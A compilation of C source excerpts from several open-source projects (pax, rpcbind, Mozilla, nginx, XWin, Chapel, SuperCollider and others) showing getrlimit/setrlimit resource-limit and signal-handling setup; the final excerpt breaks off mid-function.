示例#1
0
static int
gen_init(void)
{
	struct rlimit reslimit;
	struct sigaction n_hand;
	struct sigaction o_hand;

	/*
	 * Really needed to handle large archives. We can run out of memory for
	 * internal tables really fast when we have a whole lot of files...
	 */
	if (getrlimit(RLIMIT_DATA , &reslimit) == 0){
		reslimit.rlim_cur = reslimit.rlim_max;
		(void)setrlimit(RLIMIT_DATA , &reslimit);
	}

	/*
	 * should file size limits be waived? if the os limits us, this is
	 * needed if we want to write a large archive
	 */
	if (getrlimit(RLIMIT_FSIZE , &reslimit) == 0){
		reslimit.rlim_cur = reslimit.rlim_max;
		(void)setrlimit(RLIMIT_FSIZE , &reslimit);
	}

	/*
	 * increase the size the stack can grow to
	 */
	if (getrlimit(RLIMIT_STACK , &reslimit) == 0){
		reslimit.rlim_cur = reslimit.rlim_max;
		(void)setrlimit(RLIMIT_STACK , &reslimit);
	}

	/*
	 * not really needed, but doesn't hurt
	 */
	if (getrlimit(RLIMIT_RSS , &reslimit) == 0){
		reslimit.rlim_cur = reslimit.rlim_max;
		(void)setrlimit(RLIMIT_RSS , &reslimit);
	}

	/*
	 * signal handling to reset stored directory times and modes. Since
	 * we deal with broken pipes via failed writes we ignore it. We also
	 * deal with any file size limit thorough failed writes. Cpu time
	 * limits are caught and a cleanup is forced.
	 */
	if ((sigemptyset(&s_mask) < 0) || (sigaddset(&s_mask, SIGTERM) < 0) ||
	    (sigaddset(&s_mask,SIGINT) < 0)||(sigaddset(&s_mask,SIGHUP) < 0) ||
	    (sigaddset(&s_mask,SIGPIPE) < 0)||(sigaddset(&s_mask,SIGQUIT)<0) ||
	    (sigaddset(&s_mask,SIGXCPU) < 0)||(sigaddset(&s_mask,SIGXFSZ)<0)) {
		paxwarn(1, "Unable to set up signal mask");
		return(-1);
	}
	memset(&n_hand, 0, sizeof n_hand);
	n_hand.sa_mask = s_mask;
	n_hand.sa_flags = 0;
	n_hand.sa_handler = sig_cleanup;

	if ((sigaction(SIGHUP, &n_hand, &o_hand) < 0) &&
	    (o_hand.sa_handler == SIG_IGN) &&
	    (sigaction(SIGHUP, &o_hand, &o_hand) < 0))
		goto out;

	if ((sigaction(SIGTERM, &n_hand, &o_hand) < 0) &&
	    (o_hand.sa_handler == SIG_IGN) &&
	    (sigaction(SIGTERM, &o_hand, &o_hand) < 0))
		goto out;

	if ((sigaction(SIGINT, &n_hand, &o_hand) < 0) &&
	    (o_hand.sa_handler == SIG_IGN) &&
	    (sigaction(SIGINT, &o_hand, &o_hand) < 0))
		goto out;

	if ((sigaction(SIGQUIT, &n_hand, &o_hand) < 0) &&
	    (o_hand.sa_handler == SIG_IGN) &&
	    (sigaction(SIGQUIT, &o_hand, &o_hand) < 0))
		goto out;

	if ((sigaction(SIGXCPU, &n_hand, &o_hand) < 0) &&
	    (o_hand.sa_handler == SIG_IGN) &&
	    (sigaction(SIGXCPU, &o_hand, &o_hand) < 0))
		goto out;

	n_hand.sa_handler = SIG_IGN;
	if ((sigaction(SIGPIPE, &n_hand, &o_hand) < 0) ||
	    (sigaction(SIGXFSZ, &n_hand, &o_hand) < 0))
		goto out;
	return(0);

    out:
	syswarn(1, errno, "Unable to set up signal handler");
	return(-1);
}
示例#2
0
int
main(int argc, char *argv[])
{
	struct netconfig *nconf;
	void *nc_handle;	/* Net config handle */
	struct rlimit rl;
	int maxrec = RPC_MAXDATASIZE;

	parseargs(argc, argv);

	/* Check that another rpcbind isn't already running. */
	if ((rpcbindlockfd = (open(RPCBINDDLOCK,
	    O_RDONLY|O_CREAT, 0444))) == -1)
		err(1, "%s", RPCBINDDLOCK);

	if(flock(rpcbindlockfd, LOCK_EX|LOCK_NB) == -1 && errno == EWOULDBLOCK)
		errx(1, "another rpcbind is already running. Aborting");

	getrlimit(RLIMIT_NOFILE, &rl);
	if (rl.rlim_cur < 128) {
		if (rl.rlim_max <= 128)
			rl.rlim_cur = rl.rlim_max;
		else
			rl.rlim_cur = 128;
		setrlimit(RLIMIT_NOFILE, &rl);
	}
	openlog("rpcbind", LOG_CONS, LOG_DAEMON);
	if (geteuid()) { /* This command allowed only to root */
		fprintf(stderr, "Sorry. You are not superuser\n");
		exit(1);
	}

	/*
	 * Make sure we use the local service file 
	 * for service lookkups
	 */
	__nss_configure_lookup("services", "files");

	nc_handle = setnetconfig(); 	/* open netconfig file */
	if (nc_handle == NULL) {
		syslog(LOG_ERR, "could not read /etc/netconfig");
		exit(1);
	}

	nconf = getnetconfigent("local");
	if (nconf == NULL)
		nconf = getnetconfigent("unix");
	if (nconf == NULL) {
		syslog(LOG_ERR, "%s: can't find local transport\n", argv[0]);
		exit(1);
	}
	
	rpc_control(RPC_SVC_CONNMAXREC_SET, &maxrec);

	init_transport(nconf);

	while ((nconf = getnetconfig(nc_handle))) {
		if (nconf->nc_flag & NC_VISIBLE)
			init_transport(nconf);
	}
	endnetconfig(nc_handle);

#ifdef PORTMAP
	if (!udptrans)
		udptrans = "";
	if (!tcptrans)
		tcptrans = "";
#endif

	/* catch the usual termination signals for graceful exit */
	(void) signal(SIGCHLD, reap);
	(void) signal(SIGINT, terminate);
	(void) signal(SIGTERM, terminate);
	(void) signal(SIGQUIT, terminate);
	/* ignore others that could get sent */
	(void) signal(SIGPIPE, SIG_IGN);
	(void) signal(SIGHUP, SIG_IGN);
	(void) signal(SIGUSR1, SIG_IGN);
	(void) signal(SIGUSR2, SIG_IGN);

	if (debugging) {
#ifdef RPCBIND_DEBUG 
		printf("rpcbind debugging enabled.");
		if (doabort) {
			printf("  Will abort on errors!\n");
		} else {
			printf("\n");
		}
#endif
	} else {
		if (daemon(0, 0)) 
        		err(1, "fork failed");
	}

	if (runasdaemon || rpcbinduser) {
		struct passwd *p;
		char *id = runasdaemon ? RUN_AS : rpcbinduser;

		/*
		 * Make sure we use the local password file
		 * for these lookups.
		 */
		__nss_configure_lookup("passwd", "files");

		if((p = getpwnam(id)) == NULL) {
			syslog(LOG_ERR, "cannot get uid of '%s': %m", id);
			exit(1);
		}
                if (setgid(p->pw_gid) == -1) {
                        syslog(LOG_ERR, "setgid to '%s' (%d) failed: %m", id, p->pw_gid);
                        exit(1);
                }
		if (setuid(p->pw_uid) == -1) {
			syslog(LOG_ERR, "setuid to '%s' (%d) failed: %m", id, p->pw_uid);
			exit(1);
		}
	}

#ifdef WARMSTART
	if (warmstart) {
		read_warmstart();
	}
#endif

	network_init();

	my_svc_run();
	syslog(LOG_ERR, "svc_run returned unexpectedly");
	rpcbind_abort();
	/* NOTREACHED */

	return 0;
}
示例#3
0
void InstallSignalHandlers(const char *ProgramName)
{
  PL_strncpy(_progname,ProgramName, (sizeof(_progname)-1) );

  const char *gdbSleep = PR_GetEnv("MOZ_GDB_SLEEP");
  if (gdbSleep && *gdbSleep)
  {
    unsigned int s;
    if (1 == sscanf(gdbSleep, "%u", &s)) {
      _gdb_sleep_duration = s;
    }
  }

#if defined(CRAWL_STACK_ON_SIGSEGV)
  if (!getenv("XRE_NO_WINDOWS_CRASH_DIALOG")) {
    void (*crap_handler)(int) =
      GeckoProcessType_Default != XRE_GetProcessType() ?
          child_ah_crap_handler :
          ah_crap_handler;
    signal(SIGSEGV, crap_handler);
    signal(SIGILL, crap_handler);
    signal(SIGABRT, crap_handler);
  }
#endif // CRAWL_STACK_ON_SIGSEGV

#ifdef SA_SIGINFO
  /* Install a handler for floating point exceptions and disable them if they occur. */
  struct sigaction sa, osa;
  sa.sa_flags = SA_ONSTACK | SA_RESTART | SA_SIGINFO;
  sa.sa_sigaction = fpehandler;
  sigemptyset(&sa.sa_mask);
  sigaction(SIGFPE, &sa, &osa);
#endif

  if (XRE_GetProcessType() == GeckoProcessType_Content) {
    /*
     * If the user is debugging a Gecko parent process in gdb and hits ^C to
     * suspend, a SIGINT signal will be sent to the child. We ignore this signal
     * so the child isn't killed.
     */
    signal(SIGINT, SIG_IGN);
  }

#if defined(DEBUG) && defined(LINUX)
  const char *memLimit = PR_GetEnv("MOZ_MEM_LIMIT");
  if (memLimit && *memLimit)
  {
    long m = atoi(memLimit);
    m *= (1024*1024);
    struct rlimit r;
    r.rlim_cur = m;
    r.rlim_max = m;
    setrlimit(RLIMIT_AS, &r);
  }
#endif

#if defined(SOLARIS)
#define NOFILES 512

    // Boost Solaris file descriptors
    {
	struct rlimit rl;
	
	if (getrlimit(RLIMIT_NOFILE, &rl) == 0)

	    if (rl.rlim_cur < NOFILES) {
		rl.rlim_cur = NOFILES;

		if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
		    perror("setrlimit(RLIMIT_NOFILE)");
		    fprintf(stderr, "Cannot exceed hard limit for open files");
		}
#if defined(DEBUG)
	    	if (getrlimit(RLIMIT_NOFILE, &rl) == 0)
		    printf("File descriptors set to %d\n", rl.rlim_cur);
#endif //DEBUG
	    }
    }
#endif //SOLARIS

#if defined(MOZ_WIDGET_GTK) && (GLIB_MAJOR_VERSION > 2 || (GLIB_MAJOR_VERSION == 2 && GLIB_MINOR_VERSION >= 6))
  const char *assertString = PR_GetEnv("XPCOM_DEBUG_BREAK");
  if (assertString &&
      (!strcmp(assertString, "suspend") ||
       !strcmp(assertString, "stack") ||
       !strcmp(assertString, "abort") ||
       !strcmp(assertString, "trap") ||
       !strcmp(assertString, "break"))) {
    // Override the default glib logging function so we get stacks for it too.
    orig_log_func = g_log_set_default_handler(my_glib_log_func, nullptr);
  }
#endif
}
示例#4
0
void
grg_security_monitor(void)
{
    GtkWidget      *dialog =
	gtk_dialog_new_with_buttons(_("Security monitor"),
				    NULL,
				    GTK_DIALOG_MODAL |
				    GTK_DIALOG_DESTROY_WITH_PARENT,
				    GTK_STOCK_OK,
				    GTK_RESPONSE_OK,
				    NULL);
    GdkPixbuf      *red = gdk_pixbuf_new_from_xpm_data(red_xpm);
    GdkPixbuf      *yellow = gdk_pixbuf_new_from_xpm_data(yellow_xpm);
    GdkPixbuf      *green = gdk_pixbuf_new_from_xpm_data(green_xpm);
    struct rlimit  *rl =
	(struct rlimit *) grg_malloc(sizeof(struct rlimit));

    if (!geteuid() || !getegid()) {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Running without root privileges"), red);
    } else {
	if (!getuid() || !getgid()) {
	    ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
			  _("Running without root privileges"), yellow);
	} else {
	    ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
			  _("Running without root privileges"), green);
	}
    }
    getrlimit(RLIMIT_CORE, rl);
    if (rl->rlim_cur || rl->rlim_max) {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Memory protection from core dumps"), red);
    } else {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Memory protection from core dumps"), green);
    }
    g_free(rl);

#ifdef HAVE_MLOCKALL
    // the pwd isn't stored in cleartext anyway
    if (mem_safe) {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Memory protection from swap writings"), green);
    } else {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Memory protection from swap writings"), yellow);
    }
#endif
    if (ptrace_safe) {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Memory protection from ptrace spying"), green);
    } else {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Memory protection from ptrace spying"), red);
    }
#if defined(ENV_CHECK) && (defined(HAVE_CLEARENV) || defined(HAVE_ENVIRON))
    ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		  _("Environmental variables validation"), green)
#else
    ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		  _("Environmental variables validation"), red)
#endif
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("stdout/stdin/stderr validation"), green)
	if (grg_ctx_get_security_lvl(gctx) == GRG_SEC_PARANOIA) {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Enforced use of /dev/random"), green);
    } else {
	ADD_INDICATOR(GTK_DIALOG(dialog)->vbox,
		      _("Enforced use of /dev/random"), yellow);
    }
#ifdef ROOT_FILTER
    ADD_INDICATOR(GTK_DIALOG(dialog)->
		  vbox, _("Strict prohibition to root user"), green)
#else
    ADD_INDICATOR(GTK_DIALOG(dialog)->
		  vbox, _("Strict prohibition to root user"), yellow)
#endif
	gtk_widget_show_all(dialog);
    gtk_dialog_run(GTK_DIALOG(dialog));
    g_object_unref(G_OBJECT(red));
    g_object_unref(G_OBJECT(yellow));
    g_object_unref(G_OBJECT(green));
    gtk_widget_destroy(dialog);
}
示例#5
0
// ngx_event_core_module模块的init_process()回调函数。
static ngx_int_t
ngx_event_process_init(ngx_cycle_t *cycle)
{
    ngx_uint_t           m, i;
    ngx_event_t         *rev, *wev;
    ngx_listening_t     *ls;
    ngx_connection_t    *c, *next, *old;
    ngx_core_conf_t     *ccf;
    ngx_event_conf_t    *ecf;
    ngx_event_module_t  *module;

    ccf = (ngx_core_conf_t *) ngx_get_conf(cycle->conf_ctx, ngx_core_module);
    ecf = ngx_event_get_conf(cycle->conf_ctx, ngx_event_core_module);

    if (ccf->master && ccf->worker_processes > 1 && ecf->accept_mutex) {
        ngx_use_accept_mutex = 1;
        ngx_accept_mutex_held = 0;
        ngx_accept_mutex_delay = ecf->accept_mutex_delay;

    } else {
        ngx_use_accept_mutex = 0;
    }

#if (NGX_WIN32)

    /*
     * disable accept mutex on win32 as it may cause deadlock if
     * grabbed by a process which can't accept connections
     */

    ngx_use_accept_mutex = 0;

#endif

#if (NGX_THREADS)
    ngx_posted_events_mutex = ngx_mutex_init(cycle->log, 0);
    if (ngx_posted_events_mutex == NULL) {
        return NGX_ERROR;
    }
#endif

    // 调用定时器初始化函数。
    if (ngx_event_timer_init(cycle->log) == NGX_ERROR) {
        return NGX_ERROR;
    }


    // 调用被选用事件模型的初始化函数。
    for (m = 0; ngx_modules[m]; m++) {
        if (ngx_modules[m]->type != NGX_EVENT_MODULE) {
            continue;
        }

        if (ngx_modules[m]->ctx_index != ecf->use) {
            continue;
        }

        module = ngx_modules[m]->ctx;

        if (module->actions.init(cycle, ngx_timer_resolution) != NGX_OK) {
            /* fatal */
            exit(2);
        }

        break;
    }

#if !(NGX_WIN32)
    // 如果配置文件里设置timer_resolution字段不为0,修改SIGALRM信号的处理函数为ngx_timer_signal_handler。
    // 并设置以timer_resolution为间隔定时向当前进程发送SIGALRM信号。
    if (ngx_timer_resolution && !(ngx_event_flags & NGX_USE_TIMER_EVENT)) {
        struct sigaction  sa;
        struct itimerval  itv;

        ngx_memzero(&sa, sizeof(struct sigaction));
        sa.sa_handler = ngx_timer_signal_handler;
        sigemptyset(&sa.sa_mask);

        if (sigaction(SIGALRM, &sa, NULL) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "sigaction(SIGALRM) failed");
            return NGX_ERROR;
        }

        itv.it_interval.tv_sec = ngx_timer_resolution / 1000;
        itv.it_interval.tv_usec = (ngx_timer_resolution % 1000) * 1000;
        itv.it_value.tv_sec = ngx_timer_resolution / 1000;
        itv.it_value.tv_usec = (ngx_timer_resolution % 1000 ) * 1000;

        if (setitimer(ITIMER_REAL, &itv, NULL) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "setitimer() failed");
        }
    }

    if (ngx_event_flags & NGX_USE_FD_EVENT) {
    // epoll事件模型不会进入这个分支。
        struct rlimit  rlmt;

        if (getrlimit(RLIMIT_NOFILE, &rlmt) == -1) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                          "getrlimit(RLIMIT_NOFILE) failed");
            return NGX_ERROR;
        }

        cycle->files_n = (ngx_uint_t) rlmt.rlim_cur;

        cycle->files = ngx_calloc(sizeof(ngx_connection_t *) * cycle->files_n,
                                  cycle->log);
        if (cycle->files == NULL) {
            return NGX_ERROR;
        }
    }

#endif

    // 预分配ngx_cycle->connections, ngx_cycle->read_events和ngx_cycle->write_events数组,
    // 并做相应初始化。
    cycle->connections =
        ngx_alloc(sizeof(ngx_connection_t) * cycle->connection_n, cycle->log);
    if (cycle->connections == NULL) {
        return NGX_ERROR;
    }

    c = cycle->connections;

    cycle->read_events = ngx_alloc(sizeof(ngx_event_t) * cycle->connection_n,
                                   cycle->log);
    if (cycle->read_events == NULL) {
        return NGX_ERROR;
    }

    rev = cycle->read_events;
    for (i = 0; i < cycle->connection_n; i++) {
        rev[i].closed = 1;
        rev[i].instance = 1;
#if (NGX_THREADS)
        rev[i].lock = &c[i].lock;
        rev[i].own_lock = &c[i].lock;
#endif
    }

    cycle->write_events = ngx_alloc(sizeof(ngx_event_t) * cycle->connection_n,
                                    cycle->log);
    if (cycle->write_events == NULL) {
        return NGX_ERROR;
    }

    wev = cycle->write_events;
    for (i = 0; i < cycle->connection_n; i++) {
        wev[i].closed = 1;
#if (NGX_THREADS)
        wev[i].lock = &c[i].lock;
        wev[i].own_lock = &c[i].lock;
#endif
    }

    i = cycle->connection_n;
    next = NULL;

    do {
        i--;

        c[i].data = next;
        c[i].read = &cycle->read_events[i];
        c[i].write = &cycle->write_events[i];
        c[i].fd = (ngx_socket_t) -1;

        next = &c[i];

#if (NGX_THREADS)
        c[i].lock = 0;
#endif
    } while (i);

    // 初始化ngx_cycle->free_connections链表。
    cycle->free_connections = next;
    cycle->free_connection_n = cycle->connection_n;

    /* for each listening socket */

    // 初始化ngx_cycle->listening数组里的(*ngx_listening_t)->connection指向的对象。
    // 并将这个连接对象的读取事件加入到等待事件中。
    ls = cycle->listening.elts;
    for (i = 0; i < cycle->listening.nelts; i++) {

        c = ngx_get_connection(ls[i].fd, cycle->log);

        if (c == NULL) {
            return NGX_ERROR;
        }

        c->log = &ls[i].log;

        c->listening = &ls[i];
        ls[i].connection = c;

        rev = c->read;

        rev->log = c->log;
        rev->accept = 1;

#if (NGX_HAVE_DEFERRED_ACCEPT)
        rev->deferred_accept = ls[i].deferred_accept;
#endif

        if (!(ngx_event_flags & NGX_USE_IOCP_EVENT)) {
            if (ls[i].previous) {

                /*
                 * delete the old accept events that were bound to
                 * the old cycle read events array
                 */

                old = ls[i].previous->connection;

                if (ngx_del_event(old->read, NGX_READ_EVENT, NGX_CLOSE_EVENT)
                    == NGX_ERROR)
                {
                    return NGX_ERROR;
                }

                old->fd = (ngx_socket_t) -1;
            }
        }

#if (NGX_WIN32)

        if (ngx_event_flags & NGX_USE_IOCP_EVENT) {
            ngx_iocp_conf_t  *iocpcf;

            rev->handler = ngx_event_acceptex;

            if (ngx_use_accept_mutex) {
                continue;
            }

            if (ngx_add_event(rev, 0, NGX_IOCP_ACCEPT) == NGX_ERROR) {
                return NGX_ERROR;
            }

            ls[i].log.handler = ngx_acceptex_log_error;

            iocpcf = ngx_event_get_conf(cycle->conf_ctx, ngx_iocp_module);
            if (ngx_event_post_acceptex(&ls[i], iocpcf->post_acceptex)
                == NGX_ERROR)
            {
                return NGX_ERROR;
            }

        } else {
            rev->handler = ngx_event_accept;

            if (ngx_use_accept_mutex) {
                continue;
            }

            if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) {
                return NGX_ERROR;
            }
        }

#else

        rev->handler = ngx_event_accept;

        if (ngx_use_accept_mutex) {
            continue;
        }

        if (ngx_event_flags & NGX_USE_RTSIG_EVENT) {
            if (ngx_add_conn(c) == NGX_ERROR) {
                return NGX_ERROR;
            }

        } else {
            if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) {
                return NGX_ERROR;
            }
        }

#endif

    }

    return NGX_OK;
}
示例#6
0
/*
 * Searches for the custom WM_COMMAND command ID and performs action.
 * Return TRUE if command is proccessed, FALSE otherwise.
 */
Bool
HandleCustomWM_COMMAND (unsigned long hwndIn,
			int           command)
{
  HWND hwnd;
  int i, j;
  MENUPARSED *m;
  DWORD			dwExStyle;

  hwnd = (HWND)hwndIn;

  if (!command)
    return FALSE;

  for (i=0; i<pref.menuItems; i++)
    {
      m = &(pref.menu[i]);
      for (j=0; j<m->menuItems; j++)
	{
	  if (command==m->menuItem[j].commandID)
	    {
	      /* Match! */
	      switch(m->menuItem[j].cmd)
		{
#ifdef __CYGWIN__
		case CMD_EXEC:
		  if (fork()==0)
		    {
		      struct rlimit rl;
		      unsigned long i;

		      /* Close any open descriptors except for STD* */
		      getrlimit (RLIMIT_NOFILE, &rl);
		      for (i = STDERR_FILENO+1; i < rl.rlim_cur; i++)
			close(i);

		      /* Disassociate any TTYs */
		      setsid();

		      execl ("/bin/sh",
			     "/bin/sh",
			     "-c",
			     m->menuItem[j].param,
			     NULL);
		      exit (0);
		    }
		  else
		    return TRUE;
		  break;
#else
		case CMD_EXEC:
                  {
		    /* Start process without console window */
		    STARTUPINFO start;
		    PROCESS_INFORMATION child;

		    memset (&start, 0, sizeof (start));
		    start.cb = sizeof (start);
		    start.dwFlags = STARTF_USESHOWWINDOW;
		    start.wShowWindow = SW_HIDE;

		    memset (&child, 0, sizeof (child));

		    if (CreateProcess (NULL, m->menuItem[j].param, NULL, NULL, FALSE, 0,
				       NULL, NULL, &start, &child))
		    {
			CloseHandle (child.hThread);
			CloseHandle (child.hProcess);
		    }
		    else
			MessageBox(NULL, m->menuItem[j].param, "Mingrc Exec Command Error!", MB_OK | MB_ICONEXCLAMATION);
                  }
		  return TRUE;
#endif
		case CMD_ALWAYSONTOP:
		  if (!hwnd)
		    return FALSE;

		  /* Get extended window style */
		  dwExStyle = GetWindowLongPtr(hwnd, GWL_EXSTYLE);
		  
		  /* Handle topmost windows */
		  if (dwExStyle & WS_EX_TOPMOST)
		    SetWindowPos (hwnd,
				  HWND_NOTOPMOST,
				  0, 0,
				  0, 0,
				  SWP_NOSIZE | SWP_NOMOVE);
		  else
		    SetWindowPos (hwnd,
				  HWND_TOPMOST,
				  0, 0,
				  0, 0,
				  SWP_NOSIZE | SWP_NOMOVE);
#if XWIN_MULTIWINDOW
		  /* Reflect the changed Z order */
		  winReorderWindowsMultiWindow ();
#endif
		  return TRUE;
		  
		case CMD_RELOAD:
		  ReloadPrefs();
		  return TRUE;

		default:
		  return FALSE;
	      }
	    } /* match */
	} /* for j */
    } /* for i */

  return FALSE;
}
示例#7
0
void chpl_thread_init(void(*threadBeginFn)(void*),
                      void(*threadEndFn)(void)) {
  //
  // This threading layer does not have any inherent limit on the number
  // of threads.  Its limit is the lesser of any limits imposed by the
  // comm layer and the user.
  //
  {
    uint32_t lim;

    if ((lim = chpl_task_getenvNumThreadsPerLocale()) > 0)
      maxThreads = lim;
    else if ((lim = chpl_comm_getMaxThreads()) > 0)
      maxThreads = lim;
  }

  //
  // Count the main thread on locale 0 as already existing, since it
  // is (or soon will be) running the main program.
  //
  if (chpl_nodeID == 0)
    numThreads = 1;

  //
  // If a value was specified for the call stack size config const, use
  // that (rounded up to a whole number of pages) to set the system and
  // pthread stack limits.
  //
  if (pthread_attr_init(&thread_attributes) != 0)
    chpl_internal_error("pthread_attr_init() failed");

  //
  // If a value was specified for the call stack size, use that (rounded
  // up to a whole number of pages) to set the system and pthread stack
  // limits.  This will in turn limit the stack for any task hosted by
  // either the main process or a pthread.
  //
  {
    size_t        css;
    size_t        pagesize = (size_t) sysconf(_SC_PAGESIZE);
    struct rlimit rlim;

    if ((css = chpl_task_getEnvCallStackSize()) == 0)
      css = chpl_task_getDefaultCallStackSize();
    assert(css > 0);

    css = (css + pagesize - 1) & ~(pagesize - 1);

    if (getrlimit(RLIMIT_STACK, &rlim) != 0)
      chpl_internal_error("getrlimit() failed");

    if (rlim.rlim_max != RLIM_INFINITY && css > rlim.rlim_max) {
      char warning[128];
      sprintf(warning, "call stack size capped at %lu\n", 
              (unsigned long)rlim.rlim_max);
      chpl_warning(warning, 0, NULL);

      css = rlim.rlim_max;
    }

    rlim.rlim_cur = css;

#ifndef __CYGWIN__
    //
    // Cygwin can't do setrlimit(RLIMIT_STACK).
    //
    if (setrlimit(RLIMIT_STACK, &rlim) != 0)
      chpl_internal_error("setrlimit() failed");
#endif

    if (pthread_attr_setstacksize(&thread_attributes, css) != 0)
      chpl_internal_error("pthread_attr_setstacksize() failed");
  }

  if (pthread_attr_getstacksize(&thread_attributes, &threadCallStackSize) != 0)
      chpl_internal_error("pthread_attr_getstacksize() failed");

  saved_threadBeginFn = threadBeginFn;
  saved_threadEndFn   = threadEndFn;

  CHPL_TLS_INIT(chpl_thread_id);
  CHPL_TLS_SET(chpl_thread_id, (intptr_t) --curr_thread_id);
  CHPL_TLS_INIT(chpl_thread_data);

  pthread_mutex_init(&thread_info_lock, NULL);
  pthread_mutex_init(&numThreadsLock, NULL);

  //
  // This is something of a hack, but it makes us a bit more resilient
  // if we're out of memory or near to it at shutdown time.  Launch,
  // cancel, and join with an initial pthread, forcing initialization
  // needed by any of those activities.  (In particular we have found
  // that cancellation needs to dlopen(3) a shared object, which fails
  // if we are out of memory.  Doing it now means that shared object is
  // already available when we need it later.)
  //
  {
    pthread_t initial_pthread;

    if (!pthread_create(&initial_pthread, NULL, initial_pthread_func, NULL)) {
      (void) pthread_cancel(initial_pthread);
      (void) pthread_join(initial_pthread, NULL);
    }
  }
}
示例#8
0
World* World_New(WorldOptions *inOptions)
{
#if (_POSIX_MEMLOCK - 0) >=  200112L
	if (inOptions->mMemoryLocking && inOptions->mRealTime)
	{
		bool lock_memory = false;

		rlimit limit;

		int failure = getrlimit(RLIMIT_MEMLOCK, &limit);
		if (failure)
			scprintf("getrlimit failure\n");
		else
		{
			if (limit.rlim_cur == RLIM_INFINITY and
				limit.rlim_max == RLIM_INFINITY)
				lock_memory = true;
			else
				scprintf("memory locking disabled due to resource limiting\n");

			if (lock_memory)
			{
				if (mlockall(MCL_FUTURE) != -1)
					scprintf("memory locking enabled.\n");
			}
		}
	}
#endif

	World *world = 0;

	try {
		static bool gLibInitted = false;
		if (!gLibInitted) {
			InterfaceTable_Init();
			initialize_library(inOptions->mUGensPluginPath);
			initializeScheduler();
			gLibInitted = true;
		}

		world = (World*)zalloc(1, sizeof(World));

		world->hw = (HiddenWorld*)zalloc(1, sizeof(HiddenWorld));

		world->hw->mAllocPool = new AllocPool(malloc, free, inOptions->mRealTimeMemorySize * 1024, 0);
		world->hw->mQuitProgram = new boost::sync::semaphore(0);
		world->hw->mTerminating = false;

		HiddenWorld *hw = world->hw;
		hw->mGraphDefLib = new HashTable<struct GraphDef, Malloc>(&gMalloc, inOptions->mMaxGraphDefs, false);
		hw->mNodeLib = new IntHashTable<Node, AllocPool>(hw->mAllocPool, inOptions->mMaxNodes, false);
		hw->mUsers = (ReplyAddress*)zalloc(inOptions->mMaxLogins, sizeof(ReplyAddress));
		hw->mNumUsers = 0;
		hw->mMaxUsers = inOptions->mMaxLogins;
        hw->mClientIDs = (uint32*)zalloc(inOptions->mMaxLogins, sizeof(uint32));
        for (int i = 0; i<hw->mMaxUsers; i++) {
            hw->mClientIDs[i] = i;
        }
        hw->mClientIDTop = 0;
        hw->mClientIDdict = new ClientIDDict();
		hw->mHiddenID = -8;
		hw->mRecentID = -8;


		world->mNumUnits = 0;
		world->mNumGraphs = 0;
		world->mNumGroups = 0;

		world->mBufCounter = 0;
		world->mBufLength = inOptions->mBufLength;
		world->mSampleOffset = 0;
		world->mSubsampleOffset = 0.f;
		world->mNumAudioBusChannels = inOptions->mNumAudioBusChannels;
		world->mNumControlBusChannels = inOptions->mNumControlBusChannels;
		world->mNumInputs = inOptions->mNumInputBusChannels;
		world->mNumOutputs = inOptions->mNumOutputBusChannels;

		world->mVerbosity = inOptions->mVerbosity;
		world->mErrorNotification = 1;  // i.e., 0x01 | 0x02
		world->mLocalErrorNotification = 0;

		if (inOptions->mSharedMemoryID) {
			server_shared_memory_creator::cleanup(inOptions->mSharedMemoryID);
			hw->mShmem = new server_shared_memory_creator(inOptions->mSharedMemoryID, inOptions->mNumControlBusChannels);
			world->mControlBus = hw->mShmem->get_control_busses();
		} else {
			hw->mShmem = 0;
			world->mControlBus = (float*)zalloc(world->mNumControlBusChannels, sizeof(float));
		}

		world->mNumSharedControls = 0;
		world->mSharedControls = inOptions->mSharedControls;

		int numsamples = world->mBufLength * world->mNumAudioBusChannels;
		world->mAudioBus = (float*)zalloc(numsamples, sizeof(float));

		world->mAudioBusTouched = (int32*)zalloc(inOptions->mNumAudioBusChannels, sizeof(int32));
		world->mControlBusTouched = (int32*)zalloc(inOptions->mNumControlBusChannels, sizeof(int32));

		world->mNumSndBufs = inOptions->mNumBuffers;
		world->mSndBufs = (SndBuf*)zalloc(world->mNumSndBufs, sizeof(SndBuf));
		world->mSndBufsNonRealTimeMirror = (SndBuf*)zalloc(world->mNumSndBufs, sizeof(SndBuf));
		world->mSndBufUpdates = (SndBufUpdates*)zalloc(world->mNumSndBufs, sizeof(SndBufUpdates));

		GroupNodeDef_Init();

		int err = Group_New(world, 0, &world->mTopGroup);
		if (err) throw err;

		world->mRealTime = inOptions->mRealTime;

		world->ft = &gInterfaceTable;

		world->mNumRGens = inOptions->mNumRGens;
		world->mRGen = new RGen[world->mNumRGens];
		for (uint32 i=0; i<world->mNumRGens; ++i) {
			world->mRGen[i].init(server_timeseed());
		}

		world->mNRTLock = new SC_Lock();
		world->mDriverLock = new SC_Lock();

		if (inOptions->mPassword) {
			strncpy(world->hw->mPassword, inOptions->mPassword, 31);
			world->hw->mPassword[31] = 0;
		} else {
			world->hw->mPassword[0] = 0;
		}

#ifdef __APPLE__
		world->hw->mInputStreamsEnabled = inOptions->mInputStreamsEnabled;
		world->hw->mOutputStreamsEnabled = inOptions->mOutputStreamsEnabled;
#endif
		world->hw->mInDeviceName = inOptions->mInDeviceName;
		world->hw->mOutDeviceName = inOptions->mOutDeviceName;
		hw->mMaxWireBufs = inOptions->mMaxWireBufs;
		hw->mWireBufSpace = 0;

